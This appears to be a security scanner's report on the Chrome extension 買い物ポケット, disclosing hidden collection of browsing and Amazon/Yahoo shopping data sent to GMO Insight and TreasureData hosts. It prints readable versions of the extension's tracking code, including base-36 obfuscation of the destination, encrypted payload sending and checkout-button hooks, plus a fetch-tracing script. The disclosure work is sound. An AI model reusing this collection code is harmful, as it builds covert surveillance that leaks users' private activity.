Is 買い物ポケット safe?
買い物ポケット is high risk. When server config enables the mljs module, this extension gathers page title, URL, referrer, browser/screen details, and a persistent ID from visited pages. DA saw six GETs to lfs3.gmo-insight.jp on Amazon.co.jp; data rode in query params.…
Who publishes itGMOインサイト株式会社 - 2 other listings from the same operator, none carrying a finding
GMOインサイト株式会社 - 2 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 401k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Browsing data sent to GMO Insight after server opt-in
When server config enables the mljs module, this extension gathers page title, URL, referrer, browser/screen details, and a persistent ID from visited pages.
DA saw six GETs to lfs3.gmo-insight.jp on Amazon.co.jp; data rode in query params.
What actually happens
You browse after the extension has received configuration enabling this module.
The content script runs on ordinary HTTP and HTTPS pages at document end.
The extension collects page context, encrypts it, and sends a GET request to lfs3.gmo-insight.jp.
The observed requests used query parameters for the encrypted payload and did not include a request body.
What's stored on your device
Server-provided config enabled this browsing-data module, and its local timer had already cleared during the confirmed run.
- Location
- chrome.storage.local values set after api.kaipoke.jp/bar/init
{ "modules": "{\"aijs\":false,\"mljs\":true,\"restricted\":false}", "mljs-date": "1776208021139"}Plaintext fields assembled before encryption
- Full page URLhttps://www.amazon.co.jp/s?k=%E3%82%A4%E3%83%A4%E3%83%9B%E3%83%B3 (illustrative)
Shows the exact page you visited, including paths and query strings before the fragment is removed.
- Page titleAmazon.co.jp : イヤホン (illustrative)
Shows the title of the page you were viewing.
- Referrerhttps://www.google.com/search?q=%E3%82%A4%E3%83%A4%E3%83%9B%E3%83%B3 (illustrative)
Shows the page that led to the current page when the browser provides it.
- Extension browsing ID7c39481d-6d07-4b3f-8d92-5d9ec5e8ab4f (illustrative)
Lets repeated reports from this browser be linked together over time.
- Browser and OSChrome 126.0 on Windows 10 (illustrative)
Adds device context to the page report.
- Screen and viewport1920x1080 screen, 1365x768 viewport (illustrative)
Adds display details that help distinguish one browsing environment from another.
- Extension version3.61.0
Identifies which installed extension build produced the report.
Captured request
Dynamic analysis observed six GET requests during Amazon.co.jp navigation; each had i, k, d, and c=1 query parameters and no request body.
- Content-Type
- application/x-www-form-urlencoded
When this fires
Every 2 days
After the local mljs timer is set, the sender waits about 48 hours before allowing another send.
The code that does this
Content script collection and service worker sender
Readable content-script flow
contents.jswindow.executeMljs = function () { function decodeBase36Pairs(value) { let output = ""; let pair = ""; for (let index = 0; index < value.length; index++) { pair += value.charAt(index); if (pair.length === 2) { output += String.fromCharCode(parseInt(pair, 36) - 70); pair = ""; } } return output; } async function collectPageContext() { const context = {}; context.page_title = document.title; context.color = window.screen ? window.screen.colorDepth + "-bit" : "-"; context.path = document.location.pathname; context.log_category = "page_view"; const viewportHeight = document.documentElement.clientHeight < window.innerHeight ? window.innerHeight : document.documentElement.clientHeight; const viewportWidth = document.documentElement.clientWidth < window.innerWidth ? window.innerWidth : document.documentElement.clientWidth; context.viewport = viewportWidth + "x" + viewportHeight; context.charset = (document.characterSet || document.charset || "-").toLowerCase(); context.referrer = document.referrer; context.screen = window.screen ? window.screen.width + "x" + window.screen.height : "-"; context.host = document.location.host; context.url = document.location.href.split("#")[0]; context.language = ((navigator && (navigator.language || navigator.browserLanguage)) || "-").toLowerCase(); try { const userAgentReply = await chrome.runtime.sendMessage({ action: "getUserAgent" }); context.ua = userAgentReply && userAgentReply.userAgent ? userAgentReply.userAgent : "Unknown"; const os = detectOs(navigator); context.os = os.os; context.os_version = os.version; context.browser = "Unknown"; context.browser_version = "Unknown"; const browserReply = await chrome.runtime.sendMessage({ action: "getBrowserInfo" }); if (browserReply && browserReply.browser && browserReply.version) { context.browser = browserReply.browser; context.browser_version = browserReply.version; } } catch (error) {} return context; } async function sendPageContext() { try { const context = await collectPageContext(); const action = decodeBase36Pairs("4z4y4w55"); // mljs const redirects = await chrome.runtime.sendMessage({ action: "getRedirectInfo" }); if (context.browser === "Edge" && redirects?.redirects && Array.isArray(redirects.redirects)) { for (const redirect of redirects.redirects) { if (redirect.fromUrl && redirect.toUrl) { await chrome.runtime.sendMessage({ action, context: { ...context, referrer: redirect.fromUrl, url: redirect.toUrl, log_category: "redirect" } }); } } } if (redirects?.redirects && redirects.redirects.length > 0) { await chrome.runtime.sendMessage({ action: "clearRedirectInfo" }); } await chrome.runtime.sendMessage({ action, context }); } catch (error) {} } if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", () => sendPageContext().catch(console.error)); } else { sendPageContext().catch(console.error); }};Readable service-worker flow with decoded constants
background.jsfunction decodeBase36Pairs(value) { let output = ""; let pair = ""; for (let index = 0; index < value.length; index++) { pair += value.charAt(index); if (pair.length === 2) { output += String.fromCharCode(parseInt(pair, 36) - 70); pair = ""; } } return output;}const fieldMap = { page_title: "pa", color: "co", viewport: "vi", charset: "ch", referrer: "re", screen: "sc", host: "ho", url: "ur", language: "la", os: "os", os_version: "ov", browser: "br", browser_version: "bv", uuid: "uu", extension_version: "ev", log_category: "lc", request_uuid: "ru"};const maxLengths = { maxUrlBytes: 2200, maxTitleBytes: 600, truncateOnCombinedOverflow: true };const sendIntervalMs = 172800000;async function sendMljs(context) { try { const dateKey = decodeBase36Pairs("4z4y4w55374q4n564r"); // mljs-date let lastSend = (await chrome.storage.local.get([dateKey]))[dateKey] ?? null; if (!lastSend) { lastSend = String(Date.now()); await chrome.storage.local.set({ [dateKey]: lastSend }); } if (parseInt(lastSend) + sendIntervalMs - Date.now() > 0) return; const idKey = decodeBase36Pairs("4z4y4w55374v4q"); // mljs-id const requestUuidKey = decodeBase36Pairs("544r53574r55564l57574v4q"); // request_uuid let mljsId = (await chrome.storage.local.get([idKey]))[idKey] ?? null; let requestUuid = (await chrome.storage.local.get([requestUuidKey]))[requestUuidKey] ?? null; if (!mljsId) { mljsId = crypto.randomUUID(); await chrome.storage.local.set({ [idKey]: mljsId }); } const payload = mapFields({ ...truncateContext(context, maxLengths), uuid: mljsId, extension_version: chrome.runtime.getManifest().version, request_uuid: requestUuid }, fieldMap); const plaintext = JSON.stringify(payload); const publicKey = await importRsaPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmfG3TovkNBVgNw10Cqoj\r\n/iO7BGzRLmp3DXveVHQhwJo7myjomQ3f8raIys4QP7ywz5qTis0mq2YXgHFhzIVC\r\nDRQblBW3LU5GiXwo8popqLexGl0vhzXxDAfGHVej7e/5Hbeqt/kNIuU2WGmHjG/W\r\nb8S65gPICZR6f2Mqx2PrD3fpjz+X6j94Nrj6dnEY6soMHPzJ3Dz1mO7a8GMeUclU\r\n1dStN83BDXqQh5hxGtFR1e7eNXUDj1qJuQ1xNGhv2bxTiXLpy+WAA816XfTl8fwD\r\nlBH0Dhozq/mR2qJ34P9ysvpjV7h4Eaqfkb4/9IoTMnpapL0hiXMbO9h2UxOSQoD2\r\n+QIDAQAB\r\n"); const aesKey = await crypto.subtle.generateKey({ name: "AES-CBC", length: 256 }, true, ["encrypt", "decrypt"]); const wrappedKey = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, publicKey, await crypto.subtle.exportKey("raw", aesKey)); const encrypted = await encryptAesCbc(aesKey, plaintext); const query = `?i=${base64Url(encrypted.iv)}&k=${base64Url(wrappedKey)}&d=${base64Url(encrypted.encryptedMessage)}&c=1`; const url = decodeBase36Pairs("4u565652553k39394y4s553d384t4z51374v50554v4t4u56384w52") + query; fetch(url, { method: decodeBase36Pairs("3x3v4a"), headers: { [decodeBase36Pairs("3t5150564r5056374a5b524r")]: decodeBase36Pairs("4n52524y4v4p4n564v5150395a37595959374s51544z3757544y4r504p514q4r4q") } }); } catch (error) { return; }}chrome.runtime.onMessage.addListener((message, sender, respond) => { if (message?.[decodeBase36Pairs("4n4p564v5150")] === decodeBase36Pairs("4z4y4w55")) { sendMljs(message?.context ?? {}).then(); respond(); return true; }});External destination receiving the browsing report
- lfs3.gmo-insight.jp
Receives encrypted GET requests containing per-page browsing context when the mljs module is enabled.
- api.kaipoke.jp
Provides startup configuration that enabled the mljs module for the observed install.
Amazon and Yahoo shopping activity sent to TreasureData via log.estart.jp
The extension sends e-commerce events to log.estart.jp on every view, add-to-cart, and checkout: product name, code, price, quantity, URL, title, User-Agent, a persistent UUID.
The listing describes price comparison, not this forwarding.
What actually happens
You open a product page on Amazon.co.jp or Yahoo!Auctions.
No setting is toggled, no popup is opened. The page just loads.
The extension reads the product name, code and price off the page, attaches a persistent UUID, and POSTs an ec_log event to log.estart.jp.
The same code path also fires when you click add-to-cart, buy-now, or one-click on Amazon, sending CHECKOUT_PRODUCT and CHECKOUT_CONFIRM events with the quantity you chose.
Captured request
200 OK from TreasureData ingestion endpoint (log.estart.jp is the public TD JS-SDK ingest host, table=ec_log).
- Accept
- application/json
- Content-Type
- application/json
- X-TD-Write-Key
- <TD write key fetched from api.kaipoke.jp/bar/init>
{ "parent_id": null, "distributor_id": "1", "panelist_id": "58294cfa-9b9d-415c-b475-0ec026500124", "url": "https://www.amazon.co.jp/-/en/ONE-PIECE-magazine-%E7%89%B9%E9%9B%86-%E3%83%92%E3%83%AD%E3%82%A4%E3%83%B3%E3%82%BA-021/dp/4081024413", "entry_type": "PRODUCT_PAGE_VIEW", "title": "Amazon.co.jp: ONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック)", "language": "en-US", "product_name": "ONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック)", "product_code": "4081024413", "available": null, "quantity": 0, "currency": "JPY", "price": 8, "price_details": null, "currency_details": null, "total_price": null, "total_price_currency": null, "keyword": null, "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "accept_language": "[\"en-US\",\"en\"]", "user_country_code": null, "request_country_code": null, "timestamp": "Tue, 14 Apr 2026 11:42:08 GMT", "host": "www.amazon.co.jp", "service": "chrome", "version": "3.53.0", "request_uuid": null}What gets sent to log.estart.jp on every shopping event
- Event typePRODUCT_PAGE_VIEW
Tells the analytics backend which step of the shopping funnel you are at: viewing, adding to cart, or confirming checkout.
- Full product URLhttps://www.amazon.co.jp/-/en/.../dp/4081024413
The exact URL of the product page you are looking at, including any tracking parameters Amazon added.
- Product nameONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック)
The product title scraped from the page DOM (#productTitle on Amazon).
- Product code4081024413
The Amazon ASIN or Yahoo!Auctions auction ID, uniquely identifies the item.
- Price and quantityprice=8, quantity=1, currency=JPY
How much the item costs and, on add-to-cart/checkout events, how many you selected.
- Page title and hostAmazon.co.jp: ONE PIECE magazine ... | host=www.amazon.co.jp
The HTML <title> of the page and the hostname (e.g. www.amazon.co.jp).
- Persistent panelist UUID58294cfa-9b9d-415c-b475-0ec026500124
A UUID generated at install, stored as
kaipoke_uuid, attached to every shopping event, linking every product you view to this install. - User-Agent and languageMozilla/5.0 (X11; Linux x86_64) ... Chrome/124.0.0.0 ; ["en-US","en"]
Your browser User-Agent string and the languages your browser advertises, useful for fingerprinting alongside the UUID.
- TimestampTue, 14 Apr 2026 11:42:08 GMT
When the event happened, in UTC.
- Extension version3.53.0
Which build of the extension is running.
The code that does this
The shipped service-worker code that fires the events, alongside a readable rewrite.
trackEcLog assembler
// Build a flat ec_log record by overlaying:// 1) the context set in init() (panelist_id, url, host, title, UA, lang, version)// 2) the per-event fields the caller passed (entry_type, product_*, price, etc.)// Then POST it as a TreasureData event to the `ec_log` table.async trackEcLog(eventFields) { if (this.setting == null) { log("TreasureData not initialized"); return; } const record = { parent_id: null, distributor_id: null, panelist_id: null, // overwritten by contextForEcLog → kaipoke_uuid url: null, // overwritten → window.location.href entry_type: null, // PRODUCT_PAGE_VIEW | ADD_PRODUCT_TO_CART | CHECKOUT_PRODUCT | CHECKOUT_CONFIRM title: null, // document.title language: null, // navigator.language product_name: null, product_code: null, // Amazon ASIN / Yahoo auction ID available: null, quantity: null, currency: null, price: null, price_details: null, currency_details: null, total_price: null, total_price_currency: null, keyword: null, user_agent: null, // navigator.userAgent accept_language: null, // JSON.stringify(navigator.languages) user_country_code: null, request_country_code: null, timestamp: null, // (new Date).toUTCString() host: null, // new URL(location.href).hostname service: null, // 'chrome' | 'edge' | 'safari' version: null, // extension manifest version request_uuid: null, }; Object.assign(record, this.contextForEcLog); Object.assign(record, eventFields); await this.trackEvent({ database: this.setting.treasureData.database, // from /bar/init writeKey: this.setting.treasureData.writerKey, // from /bar/init table: "ec_log", withoutBaseData: true, }, record);}Amazon product-page handler
// Fires once per Amazon product page load, after the price-comparison// scraper has resolved the ASIN (`asin`) and price (`price`).function reportProductPageView(td, doc, asin, price) { try { if (!doc) return; const productName = doc.getElementById("productTitle")?.textContent; if (!asin || !productName) return; td.trackEcLog({ entry_type: "PRODUCT_PAGE_VIEW", product_code: asin, product_name: productName.trim(), price: price, quantity: 0, currency: "JPY", }); } catch {}}Add-to-cart / Buy-now / 1-click handler
// Wires click handlers onto the Amazon purchase-funnel buttons.// On add-to-cart click: ADD_PRODUCT_TO_CART event.// On buy-now / 1-click: CHECKOUT_CONFIRM + CHECKOUT_PRODUCT events with// total_price = unit price × quantity.function wirePurchaseFunnel(td, doc, asin, price) { try { if (!doc) return; const productName = doc.getElementById("productTitle")?.textContent; if (!asin || !productName) return; const addBtn = doc.getElementById("add-to-cart-button"); const buyBtn = doc.getElementById("buy-now-button"); const oneClick = doc.getElementById("one-click-button"); if (addBtn) { addBtn.addEventListener("click", () => { const qty = Number(doc.getElementById("quantity")?.value ?? 1); td.trackEcLog({ entry_type: "ADD_PRODUCT_TO_CART", product_code: asin, product_name: productName.trim(), price, quantity: qty, currency: "JPY", }); }); } [buyBtn, oneClick].forEach(btn => { if (!btn) return; btn.addEventListener("click", () => { const qty = Number(doc.getElementById("quantity")?.value ?? 1); const totals = (price && qty) ? { total_price: price * qty, total_price_currency: "JPY" } : {}; td.trackEcLog({ entry_type: "CHECKOUT_CONFIRM", product_code: asin, product_name: productName.trim(), price, quantity: qty, currency: "JPY", ...totals, }); td.trackEcLog({ entry_type: "CHECKOUT_PRODUCT", product_code: asin, product_name: productName.trim(), price, quantity: qty, currency: "JPY", }); }); }); } catch {}}TreasureData transport
// Single fetch() to the TreasureData JS-SDK ingestion endpoint.// Database and writeKey are server-supplied (api.kaipoke.jp/bar/init);// table is hard-coded by the caller ('ec_log', 'access_log',// 'yahoo_auction_research', etc.).async function postToTreasureData({ data, options }) { const enriched = merge(data, { version: "3.53.0" }); const headers = { "Accept": "application/json", "Content-Type": "application/json", "X-TD-Write-Key": options.writeKey, }; await fetch( `https://log.estart.jp/js/v3/event/${options.database}/${options.table}`, { method: "POST", headers, body: JSON.stringify(enriched) } );}What's stored on your device
Generated once at install and stored permanently. Sent as panelist_id/uuid on every event, linking all your activity to one profile.
- Location
- chrome.storage.local key `kaipoke_uuid`
"58294cfa-9b9d-415c-b475-0ec026500124"Where the shopping events end up
- log.estart.jp
TreasureData ingestion endpoint. Receives ec_log POSTs with product name, ASIN, price, quantity, URL, title, User-Agent, timestamp, and panelist UUID.
- api.kaipoke.jp
Configuration host owned by the publisher.
/bar/initreturns the TreasureData database name, write key, and the panelist UUID that identifies this install on every ec_log POST.
Reproduce it yourself
Run this in the service-worker DevTools console of the kaimono-pocket extension (chrome://extensions → Inspect views: service worker). It hooks fetch() and logs every POST to log.estart.jp together with its decoded JSON body, so you can watch the ec_log events being sent in real time as you browse Amazon.co.jp.
- Chrome with Developer mode enabled
- kaimono-pocket extension installed and initialized (visit one Amazon.co.jp page first so /bar/init has run)
// kaimono-pocket-trace.js// Paste into the kaimono-pocket service-worker DevTools console.// Then browse Amazon.co.jp / Yahoo!Auctions and watch the console.(function () { const origFetch = self.fetch.bind(self); self.fetch = async function (input, init) { const url = (typeof input === 'string') ? input : input.url; if (url && url.includes('log.estart.jp/js/v3/event/')) { let body = init && init.body; let pretty = body; try { pretty = JSON.stringify(JSON.parse(body), null, 2); } catch {} console.group('[kaimono-pocket] POST', url); console.log('headers:', init && init.headers); console.log('body:', pretty); console.groupEnd(); } return origFetch(input, init); }; console.log('[kaimono-pocket-trace] installed. Browse Amazon.co.jp to see ec_log events.');})();- 1Install kaimono-pocket (pgmbeccjfkdbpdjfoldaahpfamjjafma).
- 2Open its service worker DevTools.
- 3Paste this script.
- 4Visit an Amazon.co.jp product page.
- 5Watch for POSTs to log.estart.jp with price, URL, panelist_id.
Server-controlled tracking module harvests per-page browsing data
Every page you visit triggers an encrypted report to lfs3.gmo-insight.jp.
A startup call to api.kaipoke.jp/bar/init returns a flag toggling collection anytime.
DA confirmed mljs=true, then 6 requests.
URL hidden via base-36.
What actually happens
You navigate to any web page with the extension installed.
The extension's content script runs on every page due to broad host permissions.
The extension collects detailed page metadata and sends an encrypted report to lfs3.gmo-insight.jp.
This happens only when the server-controlled modules.mljs flag is enabled, which dynamic analysis confirmed was active in production.
Captured request
Returns JSON including modules.mljs=true and treasureData credentials (database name + write key) for the secondary TreasureData tracking pipeline at log.estart.jp.
- Content-Type
- multipart/form-data
model={"dv":"chrome","sitecode":"404"}Fields collected by the mljs tracking module on each page visit
- Full page URLhttps://www.amazon.co.jp/dp/B09XYZ1234
The complete address of every page you visit, minus the fragment identifier.
- Referring pagehttps://www.google.co.jp/search?q=...
The URL of the page you came from, revealing navigation patterns.
- Persistent user IDa3f7c2d1-8b4e-4f9a-bc12-3d5e6f780a91
A UUID generated once and stored locally, used to link all your reports together across sessions.
- Page titleProduct Name — Amazon.co.jp
The title of every page you visit.
- OS and browserWindows / 10 / Chrome / 124.0
Your operating system, version, browser name, and browser version.
- Screen and viewport1920x1080 / 1280x900
Your display resolution and visible browser area size.
- Log categorypage_view
Event type label, page_view for normal navigation, redirect for tracked redirects.
Why you can't catch this in DevTools
The destination hostname lfs3.gmo-insight.jp is not visible as a string anywhere in the extension source. It is reconstructed at runtime by a custom base-36 decoder that subtracts 70 from each character-pair value.
https://lfs3.gmo-insight.jpThe code that does this
Remote-flag check and executeMljs activation in background.js
// After bar/init response is stored:if (initSettings.modules.mljs && typeof executeMljs !== 'undefined') { console.log('call executeMljs (main): ' + new Date().toString()); executeMljs(); // fires per-page data collection on every tab load}External endpoints reached by this tracking module
- api.kaipoke.jp
Developer's own API, returns the modules.mljs server toggle and TreasureData credentials on every startup.
- lfs3.gmo-insight.jp
Per-page encrypted browsing reports. Operated by GMO Insight, a Japanese behavioral analytics company. Receives page URL, title, referrer, and persistent UUID on every navigation.
- log.estart.jp
Secondary analytics pipeline (TreasureData SDK). Receives access-log events and e-commerce interaction data including page context and persistent UUID.
What it can do
Permissions this extension asks for, as declared in version 3.73.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 3.73.1, which we have not unpacked yet.
Read and change your data on every site you visit
http://*/*
Read and change your data on every secure site you visit
https://*/*
Add items to the right-click menu
contextMenus
Store data in your browser
storage
See the address and title of every tab you have open
tabs
See every page you navigate to, as you navigate to it
webNavigation
Watch every request your browser makes
webRequest
Run its own code inside the pages you visit
scripting
